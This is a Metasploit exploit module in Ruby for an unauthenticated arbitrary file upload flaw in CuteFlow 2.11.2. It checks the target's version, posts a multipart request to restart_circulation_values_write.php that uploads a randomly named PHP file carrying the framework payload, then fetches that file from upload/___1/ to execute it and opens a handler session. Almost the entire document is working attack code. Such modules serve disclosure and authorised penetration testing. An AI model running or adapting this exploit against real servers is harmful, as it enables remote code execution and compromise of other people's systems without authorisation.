CuteFlow 2.11.2 - Arbitrary File Upload (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "CuteFlow v2.11.2 Arbitrary File Upload Vulnerability",
			'Description'    => %q{
				This module exploits a vulnerability in CuteFlow version 2.11.2 or prior.
				This application has an upload feature that allows an unauthenticated
				user to upload arbitrary files to the 'upload/___1/' directory
				and then execute it.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
				],
			'References'     =>
				[
					['URL', 'http://itsecuritysolutions.org/2012-07-01-CuteFlow-2.11.2-multiple-security-vulnerabilities/']
					#['OSVDB', ''],
					#['EDB',   ''],
				],
			'Payload'        =>
				{
					'BadChars' => "\x00"
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        =>
				[
					['Automatic Targeting', { 'auto' => true }]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jul 27 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The path to the web application', '/cuteflow_v.2.11.2/'])
			], self.class)
	end

	def check

		base  = target_uri.path
		base << '/' if base[-1, 1] != '/'
		res = send_request_raw({
			'method' => 'GET',
			'uri'    => "#{base}"
		})

		if res.body =~ /\<strong style\=\"font\-size\:8pt\;font\-weight\:normal\"\>Version 2\.11\.2\<\/strong\>\<br\>/
			return Exploit::CheckCode::Vulnerable
		elsif res.body =~ /\<a href\=\"http\:\/\/cuteflow\.org" target\=\"\_blank\"\>/
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end

	end

	def upload(base, fname, file)

		# construct post data
		boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
		data_post  = "--#{boundary}\r\n"
		data_post << "Content-Disposition: form-data; name=\"attachment1\"; filename=\"#{fname}\"\r\n"
		data_post << "Content-Type: text/php\r\n"
		data_post << "\r\n"
		data_post << file
		data_post << "\r\n"
		data_post << "--#{boundary}\r\n"

		# upload
		res = send_request_cgi({
			'method'  => 'POST',
			'uri'     => "#{base}pages/restart_circulation_values_write.php",
			'ctype'   => "multipart/form-data; boundary=#{boundary}",
			'data'    => data_post,
		})

		return res
	end

	def exploit
		base  = target_uri.path
		base << '/' if base[-1, 1] != '/'
		@peer = "#{rhost}:#{rport}"

		# upload PHP payload to upload/___1/
		print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes)")
		fname = rand_text_alphanumeric(rand(10)+6) + '.php'
		php   = %Q|<?php #{payload.encoded} ?>|
		res   = upload(base, fname, php)
		if res.nil?
			print_error("#{@peer} - Uploading PHP payload failed")
			return
		end

		# retrieve and execute PHP payload
		print_status("#{@peer} - Retrieving file: #{fname}")
		send_request_raw({
			'method' => 'GET',
			'uri'    => "#{base}upload/___1/#{fname}"
		})

		handler
	end
end